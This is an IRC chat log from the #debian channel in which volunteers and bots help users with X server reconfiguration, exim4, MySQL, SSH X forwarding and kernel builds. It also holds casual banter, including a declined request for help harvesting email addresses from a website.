| 01:17.24 | dpkg | If you hand-edit your X configuration file, "dpkg-reconfigure xserver-xfree86" will no longer work, which is bad. To see if this is the case, "md5sum /etc/X11/XF86Config-4 | diff -sq /var/lib/xfree86/XF86Config-4.md5sum -" - if the files differ, then it won't work. To fix this, "md5sum /etc/X11/XF86Config-4 > /var/lib/xfree86/XF86Config-4.md5sum" as root, then "dpkg-reconfigure xserver-xfree86", losing any manual changes you've made. |
| 01:17.26 | stew | !cmd drxx (.*?) is also if you have editied the X config file by hand, or used some other program like xf86config, ask me about <xmd5> |
| 01:17.26 | dpkg | stew: okay |
| 01:17.32 | chealer | cookiemonsta: don't use xf86config |
| 01:17.41 | stew | i saw that one coming |
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| 01:18.12 | cookiemonsta | i done that dpkg reconfigure.. |
| 01:18.13 | cookiemonsta | still same.. |
| 01:18.15 | chealer | drxx debain |
| 01:18.17 | chealer | !drxx debain |
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| 01:18.18 | dpkg | debain: dpkg-reconfigure xserver-xfree86 [or xserver-xorg if you're using X.org] (as root) |
| 01:18.27 | stew | doh |
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| 01:18.32 | abrotman | cookiemonsta: you have to do the xmd5 thing |
| 01:18.40 | cookiemonsta | ? |
| 01:18.41 | chealer | it was the same when I tried to modify a cmd factoid |
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| 01:18.45 | abrotman | !tell cookiemonsta about xmd5 |
| 01:18.56 | abrotman | stew: you forgot cmd: ? |
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| 01:19.14 | stew | i didn't |
| 01:19.20 | keropok | ello guys |
| 01:19.21 | chealer | the ":" |
| 01:19.24 | NeoFax | Hello everyone! Anyone know how to fix the libaspell15c2 Alioth KDE problem? |
| 01:19.30 | abrotman | stew: you used cmd .. not cmd: |
| 01:19.31 | cookiemonsta | Files /var/lib/xfree86/XF86Config-4.md5sum and - are identical |
| 01:19.34 | stew | !cmd: drxx (.*?) is also if you have editied the X config file by hand, or used some other program like xf86config, ask me about <xmd5> |
| 01:19.38 | chealer | NeoFax: ask #debian-kde ? |
| 01:19.57 | abrotman | dpkg: cmd: drxx (.*?) is also if you have editied the X config file by hand, or used some other program like xf86config, ask me about <xmd5> |
| 01:19.57 | dpkg | abrotman: okay |
| 01:20.00 | NeoFax | chealer: Thanks! |
| 01:20.06 | stew | !drxx abrotman |
| 01:20.08 | dpkg | abrotman: dpkg-reconfigure xserver-xfree86 [or xserver-xorg if you're using X.org] (as root) || if you have editied the X config file by hand,used some other program like xf86config, ask me about <xmd5> |
| 01:20.25 | stew | !yay |
| 01:20.25 | dpkg | yay! |
| 01:20.36 | keropok | !dexconf |
| 01:20.36 | dpkg | dexconf is probably obsolete, just like dexter. Ask me about "troubleshooting x". |
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| 01:21.01 | keropok | !hehe |
| 01:21.13 | chealer | dpkg: cmd: drxx (.*?) =~ s#editied#edited# |
| 01:21.14 | dpkg | chealer: OK |
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| 01:21.39 | desmond | does some1 know how to listen music from di.fm? |
| 01:21.46 | abrotman | !some1 |
| 01:21.46 | dpkg | rumour has it, some1 is IRC shorthand for "I'm a twit" |
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| 01:21.50 | dvs | desmond: RealPlayer |
| 01:21.51 | bob2 | a) you're using ubuntu |
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| 01:21.53 | cookiemonsta | brb |
| 01:21.54 | bob2 | b) use mplayer |
| 01:22.00 | desmond | wont work |
| 01:22.04 | jd86 | i installed debian on my laptop and i think the audio card is on the isa bus, how can i check what chip it uses? |
| 01:22.06 | chealer | abrotman: I was about to verify you could do that :) |
| 01:22.07 | desmond | it is asking for updates |
| 01:22.11 | bob2 | then it's not our problem |
| 01:22.31 | Dragon-Eater | what does: Connection reset by peer pressure means? |
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| 01:22.40 | abrotman | Dragon-Eater: OD |
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| 01:22.43 | lamagra_ | woohooo |
| 01:22.45 | lamagra_ | got it finanly |
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| 01:23.03 | abrotman | hrm . la magra .. familiar why ? |
| 01:23.05 | cookiemonsta | thanks dudes... |
| 01:23.12 | Dragon-Eater | [27/Wed 03:07] * BananaServ has quit IRC (Connection reset by peer pressure) |
| 01:23.12 | cookiemonsta | off blade.. |
| 01:23.16 | abrotman | oh yeah |
| 01:23.17 | cookiemonsta | movie blade.. |
| 01:23.19 | abrotman | i just remembered |
| 01:23.20 | Dragon-Eater | what does that mean? |
| 01:23.21 | cookiemonsta | :D |
| 01:23.21 | FieldySnuts | heh |
| 01:23.26 | cookiemonsta | lamagra = blood god |
| 01:23.42 | amorosa_23 | tem alguém aki de manaus? |
| 01:23.59 | abrotman | !pt |
| 01:24.02 | Blissex | amorosa_23: they may be in #Debian-BR |
| 01:24.04 | dpkg | por favor use #debian-br para ajuda em portugues. |
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| 01:24.30 | solomon | anyone know a mirror i can use that actually has x.org right now |
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| 01:24.43 | peterS | solomon: any debian mirror |
| 01:25.09 | solomon | peterS: not http.us anyway.. i'm getting 404's (in unstable) since 6 hours ago |
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| 01:25.27 | peterS | solomon: odd, it certainly should |
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| 01:26.08 | Dragon-Eater | ./quit Connection reset by horny peer |
| 01:26.14 | FieldySnuts | @lart Dragon-Eater |
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| 01:26.17 | bob2 | how clever |
| 01:26.20 | FieldySnuts | irony |
| 01:26.20 | stew | solomon: what version of debian are you running? |
| 01:26.29 | solomon | stew: unstable |
| 01:26.29 | Dragon-Eater | @lart FieldySluts |
| 01:26.34 | kern | peterS: I have been getting 404's for 3 days for sid |
| 01:26.36 | if | hi all |
| 01:26.58 | if | ShadOkhaN |
| 01:27.00 | if | :D |
| 01:27.01 | Dragon-Eater | who is all using mIRC? |
| 01:27.01 | ShadOkhaN | if muck baby :) |
| 01:27.07 | FieldySnuts | Dragon-Eater: hopefully very vew |
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| 01:27.12 | Dragon-Eater | hhaha :p |
| 01:27.17 | FieldySnuts | ShadOkhaN: hi. how do i make my libranet work kthx |
| 01:27.19 | Dragon-Eater | version me |
| 01:27.28 | if | bizi souolar lan :D kim mIRC kullanio diolar :D |
| 01:27.34 | ShadOkhaN | FieLdySnuts bende seni |
| 01:27.40 | ShadOkhaN | ben :) |
| 01:27.40 | FieldySnuts | salaam |
| 01:27.42 | Dragon-Eater | 27/Wed 03:23] [Dragon-Eater VERSION reply]: mIRC v6.16 Khaled Mardam-Bey |
| 01:27.44 | FieldySnuts | ;) |
| 01:27.51 | FieldySnuts | abu akbar |
| 01:27.53 | if | alaikum salaam :D |
| 01:27.58 | Dragon-Eater | [27/Wed 03:23] [Dragon-Eater GENDER reply]: Dragon-Eater is Dragon-Eater, but i'm not sure. Do you want me to check ? |
| 01:28.03 | abrotman | FieldySnuts: he's my hero :) |
| 01:28.05 | ShadOkhaN | script yasakmI Lan burda ? |
| 01:28.09 | stew | wtf |
| 01:28.15 | Dragon-Eater | someone ping me lol |
| 01:28.19 | stew | Dragon-Eater: shhhh |
| 01:28.22 | FieldySnuts | apt: gender? |
| 01:28.22 | apt | I'm not sure |
| 01:28.28 | Dragon-Eater | lol |
| 01:28.30 | if | yok lan bu serverde freenode da yani en fazla 3-5 kisi bulursun mirc kullanan |
| 01:28.40 | TheAsp | woah |
| 01:28.42 | abrotman | wtf is that |
| 01:28.43 | Dragon-Eater | FieldySnuts? |
| 01:28.48 | TheAsp | tjat made sense up until kisi |
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| 01:28.48 | Dragon-Eater | type /ctcp Dragon-Eater ping |
| 01:28.48 | FieldySnuts | het un Nederland? |
| 01:29.04 | *** mode/#debian [+o bob2] by ChanServ |
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| 01:29.11 | ShadOkhaN | Lan |
| 01:29.15 | ShadOkhaN | do you speak turkis |
| 01:29.16 | ShadOkhaN | ? |
| 01:29.22 | FieldySnuts | nein |
| 01:29.31 | ShadOkhaN | a.q senin |
| 01:29.32 | ShadOkhaN | :) |
| 01:29.35 | Dragon-Eater | FieldySnuts do it ull luao |
| 01:29.44 | FieldySnuts | ok leave me out of this |
| 01:30.14 | bob2 | obviously not |
| 01:30.19 | Dragon-Eater | [27/Wed 03:23] [Dragon-Eater GIRLFRIEND reply]: FieldySnuts is my girl, my girlfriend. |
| 01:30.19 | bob2 | or we'd be speaking turkish now |
| 01:30.24 | FieldySnuts | die |
| 01:30.32 | Dragon-Eater | ok |
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| 01:30.46 | ShadOkhaN | Dragon-Eater hii |
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| 01:30.52 | Dragon-Eater | hi ShadOkhaN |
| 01:31.04 | Dragon-Eater | Ohhhh THINK TWICE.... |
| 01:31.08 | abrotman | where is that turkish ghurkin ? |
| 01:31.27 | FieldySnuts | sod off. thanks. |
| 01:31.47 | Dragon-Eater | !tell FieldySnuts about sod off |
| 01:31.56 | Dragon-Eater | lol |
| 01:31.57 | peterS | Dragon-Eater: dude. you can stop any time. |
| 01:32.07 | Dragon-Eater | yeah peterS i were planning already |
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| 01:32.30 | Dragon-Eater | u still love me tough peterS? |
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| 01:32.36 | peterS | Dragon-Eater: dude. you can stop any time. |
| 01:32.47 | FieldySnuts | dpkg: permasunday |
| 01:32.47 | dpkg | All days in #debian will remain Sunday until further notice. Unfortunately, outside #debian the world keeps turning, so you still have to get up and go to work. Welcome to PermaTardsday!, or http://www.lyricsfreak.com/m/morrissey/96007.html |
| 01:32.51 | secher | Heyas all. When I install mysql, should I not get some configuration opportunities during the install, such as setting up a root account etc.? I'm not, and I was just wondering if there was something wrong, becuase after the install, when I run mysqladmin, create a root account and then try to loging to the database with mysql-admin, it tells me that it can't connect to the server, but I can ping it. Suggestions? |
| 01:32.55 | greyson | This seems to have been a bad time to come back -- looks personal |
| 01:33.19 | FieldySnuts | heh. |
| 01:33.29 | ShadOkhaN | if hai baby :) |
| 01:33.38 | FieldySnuts | ShadOkhaN: badgers |
| 01:33.44 | De_Mon | secher read the docs |
| 01:33.54 | stew | secher: read /usr/share/doc/mysql-server/README.Debian |
| 01:34.00 | solomon | peterS, stew, kern: gee, X is now on the mirror magically |
| 01:34.07 | ShadOkhaN | FieLdySnuts What ? |
| 01:34.16 | FieldySnuts | ShadOkhaN: I am not sure, ask fhffhqvb |
| 01:34.19 | peterS | solomon: http.us is a round robin of lots of IP addresses. you just hit one of the good ones, I guess |
| 01:34.20 | secher | stew: Kk.. I'll read it again. |
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| 01:34.46 | ShadOkhaN | FieLdySnuts LoL |
| 01:34.48 | ShadOkhaN | FieldySnuts lol |
| 01:34.50 | solomon | peterS: i must've got pretty lucky, i had to have tried it 30 times today :) |
| 01:34.56 | peterS | solomon: oh dear. that bad? |
| 01:35.02 | FieldySnuts | fhffhqvb vf n pbzcnd fryyvat juber |
| 01:35.05 | abrotman | dvs: but it's the best DB ever! |
| 01:35.06 | FieldySnuts | g'nite |
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| 01:35.43 | peterS | FieldySnuts: just scanning that sentence I can see the word 'badger' is not present. this surprises me |
| 01:35.56 | maher | abrotman: except for dbase III |
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| 01:36.29 | abrotman | maher: FileMaker Pro!!! |
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| 01:36.56 | maher | abrotman: people still sell commercial sw basedon foxpro |
| 01:37.13 | abrotman | maher: i'm aware of this .. people still commerical software based on access too :) |
| 01:37.19 | chealer | didn't anyone complain about /topic yet? |
| 01:37.19 | dbernar1 | how come when you try using a gnome program on X over ssh, such as gthumb, or gnome-terminal, you get an error? |
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| 01:37.30 | abrotman | chealer: what about it ? |
| 01:37.51 | chealer | abrotman: the downtime warning was removed from #d-d |
| 01:38.07 | abrotman | chealer: are they back? |
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| 01:38.19 | abrotman | ah .. so they are .. |
| 01:38.19 | chealer | buildd: Debian package auto-builder+ |
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| 01:39.02 | chealer | !beer newraff |
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| 01:39.49 | dbernar1 | is it common to not be able to run gedit over ssh -X and not be able to run gnome-terminal, or gthumb |
| 01:39.53 | dbernar1 | +? |
| 01:40.00 | FieldySnuts | no |
| 01:40.10 | dbernar1 | ok, well, I cant. |
| 01:40.15 | abrotman | why not ? |
| 01:40.20 | FieldySnuts | try -Y |
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| 01:40.36 | dbernar1 | abrotman: care to see the error on #flood? |
| 01:40.41 | cookiemonsta | Where can i block the open services...? |
| 01:40.42 | genix | How can I: echo whatever > /x/file if the dir /x/ does not exist (I don't want to mkdir for each dir)? |
| 01:40.44 | liable | hmmm, dont work in .au yet. |
| 01:40.49 | abrotman | dbernar1: it wouldn't do me any good .. i haven't done sshx in years |
| 01:40.58 | dvs | cookiemonsta: that's a firewall that you need |
| 01:41.06 | greyson | dbernar1: Do *any* X applications run over that pipe? |
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| 01:41.21 | abrotman | cookiemonsta: such as ? |
| 01:41.23 | cookiemonsta | nar, i already got a firewall.. but i'm saying how could i just close of certin things on debian..? |
| 01:41.33 | dbernar1 | greyson: ya, I said gedit does. FieldySnuts: how come you are so smart? that fixed it. |
| 01:41.36 | dvs | cookiemonsta: Uninstall them? |
| 01:41.39 | FieldySnuts | because I rule |
| 01:41.42 | cookiemonsta | smtp/auth etc etc |
| 01:41.47 | KerPlunk | awww...you can't use gmail.com with stock dillo from debian.org |
| 01:41.47 | KerPlunk | lol |
| 01:41.56 | maher | genix: mkdir -p |
| 01:41.57 | cookiemonsta | what's the aptget for uninstall |
| 01:41.57 | KerPlunk | You have to recompile with openssl support I believe. :( |
| 01:41.57 | cookiemonsta | ? |
| 01:42.08 | dvs | Um, apt-get remove |
| 01:42.14 | KerPlunk | cookiemonsta: apt-get -y remove debian-package |
| 01:42.42 | genix | maher, How would that be in my case? |
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| 01:42.57 | dbernar1 | sorry, didnt get the answer... |
| 01:43.00 | dbernar1 | hehe |
| 01:43.16 | greyson | dbernar1: Actually, you said "21:39 < dbernar1> is it common to not be able to run gedit over ssh -X and not |
| 01:43.20 | greyson | <PROTECTED> |
| 01:43.33 | dbernar1 | ah |
| 01:43.34 | dbernar1 | thanks |
| 01:43.35 | greyson | thus saying that neither worked ;) |
| 01:43.45 | dbernar1 | lapsus keyboardis |
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| 01:44.06 | dvs | !pebkac |
| 01:44.06 | dpkg | i heard pebkac is Problem Exists Between Keyboard And Chair, or PEBCAK. PEBMAC, PICNIC. PEBRHAL, or http://pebkac.ubergoth.net/ |
| 01:44.13 | cookiemonsta | isnt their a certin file.. where you can just comment certing ports.. |
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| 01:44.21 | dbernar1 | haha |
| 01:44.56 | idis_ | !tell cookiemonsta about iptables |
| 01:46.36 | idis_ | lol |
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| 01:47.33 | dvs | !ops gaysex is msg awful stuff |
| 01:47.34 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, greycat, helix, ljlane, LoRez, mentor, Netsnipe, TML, walters, xk: gaysex is msg awful stuff |
| 01:47.35 | dbernar1 | what was that command for dpkg to tell you how lame your nick is? |
| 01:47.47 | ApEtc | nickometer |
| 01:47.54 | dbernar1 | thanks |
| 01:47.56 | peterS | dbernar1: you really think we'd tell you that? it always spawns 6 people doing it at once when you do |
| 01:47.58 | dvs | FieldySnuts: What? |
| 01:48.04 | FieldySnuts | are you insane? |
| 01:48.21 | dvs | FieldySnuts: What's the problem? |
| 01:48.27 | bob2 | dvs: ? |
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| 01:49.02 | dvs | bob2: Just got some "drive by" obscenities. |
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| 01:49.31 | bob2 | ah, yes |
| 01:49.34 | abrotman | bob2: can you alter topic .. they seem to be back |
| 01:49.42 | chealer | hey abrotman |
| 01:49.59 | abrotman | hi |
| 01:49.59 | RvGaTe | damn abrotman, you still awake ? |
| 01:50.00 | genix | Can I create directories if they are missing so the echo success: echo 1 > ~/.gconf/desktop/gnome/peripherals/keyboard/xkb/%gconf.xml |
| 01:50.11 | bob2 | dvs: thanks |
| 01:50.14 | ducky_ | I'm working on a Debian sarge with Apache2 and I can't seem to get this rewrite rule to work, RewriteRule ^news-article/([0-9]+)/([/-A-Za-z0-9]*)$ news-article.php?id=$1 |
| 01:50.19 | dvs | bob2: No prob. |
| 01:50.25 | abrotman | RvGaTe: it's only 10pm .. i've only been up since .. like .. 6am .. and went to bed last night about .. 2am :) |
| 01:50.35 | ducky_ | It goes to that page the but the reference isn't working |
| 01:50.39 | abrotman | RvGaTe: i'm on the .us east coast |
| 01:50.40 | RvGaTe | its 3.50 am right here... :P |
| 01:50.48 | *** mode/#debian [+o bob2] by ChanServ |
| 01:50.51 | ducky_ | Anyone have an idea why that would be? |
| 01:51.01 | *** topic/#debian by bob2 -> GETTING DEBIAN? /msg dpkg install debian | FAQ: http://www.linuks.mine.nu/debian-faq-wiki/ | BTS: /msg dpkg bts | gcc/g++ 4.0 with new ABI in sid; beware breakage! | OH NO X.org! Beware breakage! | USE #flood or /msg dpkg paster, NOT here | /msg bots NOT people | Java -> /msg dpkg java | kde 3.4 -> /msg dpkg kde3.4 | NO MORE non-us /msg dpkg crypto in main |
| 01:51.06 | *** mode/#debian [-o bob2] by bob2 |
| 01:51.07 | abrotman | bob2: thanks |
| 01:51.10 | bob2 | abrotman: thanks |
| 01:51.22 | abrotman | ducky_: might get more help out of #apache |
| 01:52.08 | ducky_ | abrotman: thought it might be something specific to the debian version of apache2 |
| 01:53.12 | abrotman | ducky_: i doubt it .. |
| 01:54.12 | secher | mail |
| 01:54.39 | abrotman | none |
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| 01:57.48 | CaT[tm] | hey folks. where does DEBCONFlocal_domainsDEBCONF get defined? what file. |
| 01:58.39 | bob2 | that would be debconf being shit |
| 01:58.45 | bob2 | and not properly updating the exim4 config files |
| 01:58.52 | CaT[tm] | ah |
| 01:58.53 | bob2 | try running "sudo dpkg-reconfigured exim4-config" |
| 01:59.01 | peterS | -d |
| 01:59.34 | CaT[tm] | so is anyone else getting onjoins from 'transsexual' or am I the only lucky one? :) |
| 01:59.47 | secher | bob2: we've got another one.. *transsexual* sending dumb@ss msgs. |
| 01:59.53 | dvs | CaT[tm]: I got it too, but they're banned now |
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| 01:59.57 | peterS | CaT[tm]: I got one but not an onjoin, just a random one |
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| 02:00.03 | genix | Why is C prefered before C++ in Unix? |
| 02:00.19 | dvs | genix: You have way more control in C |
| 02:00.22 | TheAsp | because c++ is a steaming pile of goat crap |
| 02:00.25 | CaT[tm] | peters: ah. it claims it's an onjoin. :) |
| 02:00.25 | bob2 | secher: yeah, it's not in here |
| 02:00.28 | FieldySnuts | !troll TheAsp |
| 02:00.30 | peterS | genix: C is so much simpler to implement and learn |
| 02:00.30 | dvs | TheAsp: I disagree ;-) |
| 02:00.35 | bob2 | genix: unix predates C++ |
| 02:00.40 | TheAsp | :P |
| 02:00.43 | peterS | CaT[tm]: yeah, it also claims to be authorized. don't believe every /msg you hear (: |
| 02:00.56 | genix | dvs, And why is C++ so common in windows applications? |
| 02:00.56 | bob2 | and it took until a few years ago for gcc to have solid C++ support |
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| 02:01.04 | CaT[tm] | peters: well it seemed reasonable. by conincidence it happened the exact moment I joined #debian :) |
| 02:01.08 | bob2 | genix: because MS pushed it so hard |
| 02:01.10 | nono31 | Hi |
| 02:01.21 | dvs | genix: C'mon. Look at Windows. Do they know what they're doing? |
| 02:01.23 | peterS | CaT[tm]: ahh |
| 02:01.27 | secher | I wonder if gretcat knows his nick has been appropriated. He'd love that.. <grin> |
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| 02:01.40 | glasse | Unix system calls are in C |
| 02:01.42 | dvs | genix: Windows was programmed in C at one time but it was really code heavy |
| 02:01.47 | glasse | C++ is not far enough to write "bindings" for |
| 02:02.12 | bob2 | even in C++ the MFC seems kinda heavy |
| 02:02.16 | nono31 | I'm compiling a kernel on another machine and weirdly there is lots of thing I can't unselect (ex: hotplug firmware loading support always stays as Module or Install).. I am using make menuconfig |
| 02:02.21 | CaT[tm] | well. the reconfigure didn't fix things. |
| 02:02.24 | nono31 | someone has an idea of what is my pb? |
| 02:02.28 | genix | ok, what is the kernel written in? what is Debian/solaris written in? |
| 02:02.33 | genix | *linux kernel |
| 02:02.51 | peterS | genix: C |
| 02:02.54 | dvs | genix: The kernel is written in C |
| 02:02.59 | peterS | genix: Windows NT is written in C and C++ |
| 02:03.13 | genix | dvs, perdenab_, and Solaris to? |
| 02:03.13 | dvs | genix: Linus tried writting it in C++ at one time but scrapped it quickly |
| 02:03.20 | CaT[tm] | is there a sledgehammer approach to dpkg-reconfigure? :) |
| 02:03.21 | glasse | dvs: Really? I never heard that |
| 02:03.26 | bigfish | is there a script to auto install my xf86config in debian 3.0? |
| 02:03.27 | peterS | CaT[tm]: there is configure-debian |
| 02:03.33 | dvs | glasse: Yup, it's true |
| 02:03.34 | perdenab_ | yep |
| 02:03.38 | perdenab_ | on debian now |
| 02:03.57 | bob2 | CaT[tm]: I encountered that the other day and just ended up using postfix instead |
| 02:04.04 | peterS | dvs: linus never tried to write Linux in C++. at one time they tried to make it *compile* with g++, but that's as far as they got before saying "this is crap, screw it" |
| 02:04.23 | CaT[tm] | bob2: I want to see if exim4 will deliver to multiple destinations for a virtual email addy. |
| 02:04.25 | genix | Is there anyone here that know what Solaris is written with? |
| 02:04.35 | FieldySnuts | better yet does anybody care |
| 02:04.40 | dvs | nope |
| 02:04.40 | genix | I'm just curious |
| 02:04.50 | peterS | genix: pretty safe to assume it's mostly C. but most of us haven't checked |
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| 02:04.56 | CaT[tm] | peters: that sounds pretty sledgehammerish :) |
| 02:05.10 | bigfish | is there an easier way to configure x in debian |
| 02:05.17 | genix | peterS, Java maybe? |
| 02:05.20 | bigfish | minux xf86config |
| 02:05.23 | peterS | CaT[tm]: seriously, configure-debian is a frontend to dpkg-reconfigure that goes out and finds the packages that *can* be reconfigured |
| 02:05.24 | bigfish | *minus |
| 02:05.31 | dvs | !drxx bigfish |
| 02:05.32 | maher | genix: maybe haskell |
| 02:05.32 | dpkg | bigfish: dpkg-reconfigure xserver-xfree86 [or xserver-xorg if you're using X.org] (as root) || if you have edited the X config file by hand,used some other program like xf86config, ask me about <xmd5> |
| 02:05.37 | gravity_ | peterS: Pimping my shiznit, huh? :-) |
| 02:05.43 | peterS | gravity_: yes, yes I am |
| 02:05.55 | genix | maher, haskell? |
| 02:05.55 | liable | bigfish: what do tou mean, minus xf86config? |
| 02:05.55 | gravity_ | Now that I have no time to work on it... :-p |
| 02:05.56 | peterS | genix: I rather doubt the solaris kernel has any java in it. userspace probably does, here and there |
| 02:06.04 | peterS | gravity_: right |
| 02:06.14 | bigfish | mean without using it |
| 02:06.19 | bigfish | somethin brainless really |
| 02:06.37 | FieldySnuts | i thought that was c++. |
| 02:06.38 | bigfish | i don't know that much about my laptop got from ebays , so no docs yet |
| 02:06.39 | SNow | Hi guys, is there an abillity to get all emails from the site? there are many things in the site, texts, links and so on, i need to get all emails, How could I do it? with wget ? |
| 02:06.50 | genix | peterS, What is most used in Unix of C and Objecitve C? |
| 02:06.52 | CaT[tm] | peters: well dpkg-reconfig does ask me questions etc. it just isn't doing an update. |
| 02:06.56 | secher | Ok, I did an apt-get remove --purge mysql-server, and it removed /ver/run/mysqld/mysqld.sock. I did the apt-get install mysql-server, and when the server tries to start, it tells me it can't connect to the socket (no shit, I removed it with --purge). apparently, I was wrong in thinking that the install of mysql-server would recreate the socket. what do I do to recreate the .sock? |
| 02:07.07 | peterS | genix: outside Mac OS X, hardly anyone uses Objective C |
| 02:07.13 | peterS | genix: well, Mac OS X and GNUstep |
| 02:07.20 | bob2 | genix: objective C is very very rarely used outside of OS X and NextStep |
| 02:07.43 | michal_ | do TLS libs give a significant boost to performance? |
| 02:07.55 | bigfish | interesting why doesnt the debian installer automatically do this? |
| 02:08.04 | peterS | michal_: depends on what the libraries do, presumably |
| 02:08.18 | bob2 | bigfish: it should have tried to configure it during intall |
| 02:08.19 | SNow | Hi guys, is there an abillity to get all emails from the site? there are many things in the site, texts, links and so on, i need to get all emails, How could I do it? with wget ? |
| 02:08.30 | bigfish | hum I don't recall it even asking |
| 02:08.32 | bob2 | SNow: "the site"? |
| 02:08.32 | peterS | SNow: what site? |
| 02:08.39 | SNow | 'www' site |
| 02:08.41 | SNow | simple page |
| 02:08.41 | SNow | ;] |
| 02:08.47 | maher | someone set us up the site |
| 02:08.48 | peterS | what site? |
| 02:08.52 | FieldySnuts | hh |
| 02:08.54 | peterS | !maher++ |
| 02:08.54 | bigfish | well im trying now let you know how it turns out |
| 02:09.00 | secher | you have no chance, make your time. |
| 02:09.04 | FieldySnuts | to survive |
| 02:09.10 | genix | Which kinds of C is there apart from C and Objective C? |
| 02:09.10 | shingouz | maher: s/site/shite ? |
| 02:09.25 | peterS | genix: C has three main flavors - K&R, ANSI, C99 |
| 02:09.32 | michal_ | peters: well i don't really know.. they come with lbc6. |
| 02:09.35 | dvs | ANSI rules! |
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| 02:09.43 | peterS | genix: C++ has continually evolved until around 1998 when it was standardized |
| 02:09.48 | SNow | Could I download all emails to one .txt ? |
| 02:09.52 | SNow | if there are many other information posted ? |
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| 02:09.56 | SNow | in that web page |
| 02:10.20 | genix | peterS, ok, which of these is most common? |
| 02:10.24 | peterS | genix: Java and C# are spinoffs of C++ simplified, dicked around with, and ported to a virtual machine |
| 02:10.26 | bigfish | well I get xserver-xfree86 isn't installed, isn't it a dependancy for enlightenment? |
| 02:10.36 | FieldySnuts | ..who the fuck is transexual |
| 02:10.39 | CaT[tm] | ok. the config files are the way they're meant to be. I'm wondering where MAIN_LOCAL_DOMAINS needs to be configured so that I can override debconf without changing the debconfy things. |
| 02:10.40 | nono31 | Using make menuconfig, how I deselect i2c stuff? is there dependencies? because kernel does not compile... :-( |
| 02:10.43 | FieldySnuts | <PROTECTED> |
| 02:10.48 | dvs | FieldySnuts: Your friends, GNAA |
| 02:10.55 | FieldySnuts | i noticed .. |
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| 02:11.02 | peterS | genix: use, you know, whatever you want. C99 is well-supported nowadays, and modern C++ likewise |
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| 02:11.16 | maher | genix: most people compile with gcc - so as long as gcc will compile your code you'll be ok |
| 02:11.16 | useruser | SNow: it depends. tell us the site you're trying to extract information from, and we should be able to tell you |
| 02:11.33 | SNow | http://www.hyips.ws/ |
| 02:11.45 | maher | nono31: try using a standard kernel and module-assistant to build the i2c modules |
| 02:11.46 | simy | this may be a stupid question, but what port does a ping use? |
| 02:11.51 | peterS | simy: it doesn't |
| 02:11.59 | peterS | simy: ports are TCP and UDP concepts, ping doesn't use TCP or UDP |
| 02:12.01 | FieldySnuts | it doesn't, it uses a wholly different protocol, not TCP or UDP but icmp |
| 02:12.08 | FieldySnuts | it's still IP though |
| 02:12.12 | SNow | maybe you know what is the best way to extract emails |
| 02:12.17 | simy | can ssh use icmp? |
| 02:12.17 | SNow | from webpages ? |
| 02:12.22 | peterS | simy: ssh uses TCP |
| 02:12.25 | useruser | SNow: wait, you mean email addresses? |
| 02:12.26 | FieldySnuts | simy: ssh has nothing to do with ICMP, only tcp |
| 02:12.30 | peterS | simy: and it uses port 22 by default |
| 02:12.32 | simy | ok.... |
| 02:12.33 | SNow | *@* |
| 02:12.37 | simy | k thanks... |
| 02:12.38 | FieldySnuts | you cannot set up a two way connection with icmp either |
| 02:12.40 | genix | petemc, which flavor are you using? |
| 02:12.42 | duncf | i've heard of SSH over DNS |
| 02:12.46 | genix | peterS, which flavor are you using? |
| 02:12.50 | genix | petemc, sorry |
| 02:12.52 | peterS | SNow: we aren't going to help you with your spammer activities. you can give up now. |
| 02:12.59 | FieldySnuts | @win peterS |
| 02:13.00 | duncf | but thats entirely different :-P |
| 02:13.01 | ravenbird | Congratulations, peterS! You have won a lifetime supply of spam! |
| 02:13.02 | SNow | I am not going to spam |
| 02:13.02 | peterS | genix: I program in C99 mainly, that and Perl |
| 02:13.03 | bigfish | um I have a ibm laptop, and im not sure what to set for the mouse port? |
| 02:13.06 | nono31 | maher: I don't need i2c... debian kernel is not standard kernel? wjat is the module-assistant thing you're talking about... (maybe I am too old school... I make menuconfig; make-kpkg kernel-image ... just this) |
| 02:13.22 | peterS | SNow: extracting email addresses from web pages. yeah. I am sure you're thinking of something *besides* spam. |
| 02:13.29 | dvs | bigfish: Try /dev/input/mice |
| 02:13.29 | genix | petemS why C99? |
| 02:13.30 | shingouz | bigfish: psaux |
| 02:13.47 | bigfish | dvs, thats whats hightlighted |
| 02:13.49 | peterS | genix: it includes the features of ANSI C and some other convenient ones |
| 02:14.03 | maher | nono31: ok - i dunno - maybe there is some bug in the .config or the compile... |
| 02:14.03 | dvs | bigfish: Then use it! ;-) |
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| 02:14.07 | bigfish | col |
| 02:14.08 | peterS | genix: actually I do just use ANSI C for some things, if I want them to be portable to compilers and OSes from a few years ago |
| 02:15.17 | useruser | SNow: there have to be lots of ways. you could use sed, for example |
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| 02:15.46 | peterS | genix: to be honest, much of my hacking is drive-by hacking, i.e., patching something in quickly to a project I'm not affiliated with. then I use whatever language is already being used |
| 02:15.47 | genix | peterS, So C is recommended for all OS, without exceptions? |
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| 02:16.23 | idis | genix: there is _no_ silver bullet |
| 02:16.25 | dvs | genix: It's not recommended. It just happens a lot of them use C |
| 02:16.33 | maher | genix: there are many languages with different propertie s- what do you want to do? |
| 02:16.38 | peterS | genix: I've never contemplated writing an OS kernel or system libraries that don't resemble Unix. I don't know what other types of OS architectures would require |
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| 02:16.54 | dvs | Isn't Beos C++? |
| 02:16.55 | peterS | genix: and as far as OSes that resemble Unix, I see zero reason to reinvent that wheel - Linux and the BSDs are quite good enough |
| 02:16.56 | cookiemonsta | where is the bootup services script located in debian...? |
| 02:17.00 | SNow | useruser with what options ? |
| 02:17.11 | useruser | SNow: figure it out yourself, i don't know |
| 02:17.18 | peterS | SNow: dude. can you please explain what you intend to do other than spam? |
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| 02:17.44 | SNow | I am going to consult about hyip investment company |
| 02:17.46 | liable | cookiemonsta: /etc/init.d probably or inetd |
| 02:17.50 | yath | How can I build a second kernel with kernel-package, with small modifications, without recompiling the entire kernel tree? |
| 02:17.51 | FieldySnuts | otherwise spam |
| 02:17.52 | michal_ | peters: what about hurd? |
| 02:17.56 | maher | ok - can we kick the spammer? |
| 02:17.57 | peterS | michal_: what about it? |
| 02:17.59 | cookiemonsta | where is the sshd one located.. |
| 02:18.02 | cookiemonsta | i checked init.d |
| 02:18.05 | SNow | there are alot of things that I don't know and i would be keen on knowing |
| 02:18.05 | cookiemonsta | and inetd.. |
| 02:18.10 | peterS | michal_: I haven't seen any reason to implement the hurd, no (: |
| 02:18.11 | cafuego | michal_: hurd is bsd |
| 02:18.17 | peterS | it is not |
| 02:18.25 | cafuego | michal_: microkernel with shit attached to it |
| 02:18.25 | maher | hurd is c afaik |
